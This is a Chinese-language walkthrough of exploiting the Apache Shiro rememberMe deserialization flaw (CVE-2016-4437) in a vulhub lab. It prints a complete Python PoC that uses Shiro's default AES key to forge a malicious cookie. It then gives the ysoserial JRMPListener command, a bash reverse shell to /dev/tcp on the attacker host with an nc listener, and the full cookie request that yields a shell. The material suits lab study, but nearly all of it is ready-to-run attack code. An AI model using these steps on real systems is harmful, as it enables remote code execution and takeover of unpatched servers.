1、漏洞利用前提:
Apache Shiro <= 1.2.4
2、靶场:
利用vulhub的靶场在服务器上搭建
注:docker相关配置就没有写了,靶场能运行就行
靶场搭建
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d #启动靶场
启动完靶场之后访问服务器ip所在的8080端口,即可看到靶场界面如下
2、获取jar包
在攻击机上执行
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
mvn会生成一个名为ysoserial-0.0.6-SNAPSHOT-all.jar的jar包,将该jar包和poc脚本放在同一目录下
poc代码如下:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
我将该脚本命名为shiro_shell.py
3、攻击机上执行脚本生成恶意cookie
python shiro_shell.py 1.1.1.1:1099 #1.1.1.1为你的攻击机ip 端口可以随意变动,但是后面监听的时候也要做相应变动
4、反弹shell制作
反弹shell需要加密,网址:http://www.jackson-t.ca/runtime-exec-payloads.html
反弹shell代码如下
bash -i >& /dev/tcp/1.1.1.1/7878 0>&1 #1.1.1.1为攻击机ip
5、攻击机监听端口
攻击机1.1.1.1上打开两个窗口,
其中一个窗口监听shell
nc -lvp 7878
另一个窗口监听JRMP端口
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '加密后的反弹shell'
6、将生成的恶意cookie通过httpie发送
在攻击机1.1.1.1上执行如下代码
http 1.1.1.2:8080/login 'Cookie:rememberMe=UfsKYXK1SIOgFdnOxdPidh09yGZv6Medaj/T0E5sE9xhxMP69kzlNKsEdfHUhTgD12ea7NOv+xRhnZSGhUi9rz1tYVPu5QHfINrMS4I+lTe82RO5PY1vJrmMwP/NnBvjfGtTWTwRSNl1AhNgJrAhrEBStf+cpnBMwmoWxiexDjm2BavY/lSLe52hZhCEcr0zv/kqC9PdhBfY326+ux/RkE0pfwfZNMEUrPIZw8gBJkCIDTb1qj+W32+YinOKCkye/i+GmKHifPoMSt91q0nR/NQnxyu4UJQoULSbCI3/vXKtGm7P+YNqhH6smVPIoTxqtAqWTJG7eOafDPC2azUlhbLcmjql7qDL2wPpv4JOxB0fLIwdkQqSn9DCBty2BfKDqf8I/lvTbKqHHfVIUMdjYQ=='
7、查看攻击机上监听的结果
发现两个端口都会收到消息,
shell反弹到7878端口
8、总结
找了很多资料,去试了很多次,另外一种方法还是没有实验成功。也不知道在哪遇到了坑,还是不懂开发。另外一种方法的参考链接:https://www.cnblogs.com/paperpen/p/11312671.html,这种是通过dnslog回显去判断的,但是我按照流程做下来并没有成功,除了jar包名称一样,其余的地方几乎都没区别。
参考资料:
https://www.jianshu.com/p/0007eafd1f92
https://blog.csdn.net/qq_41954384/article/details/101694539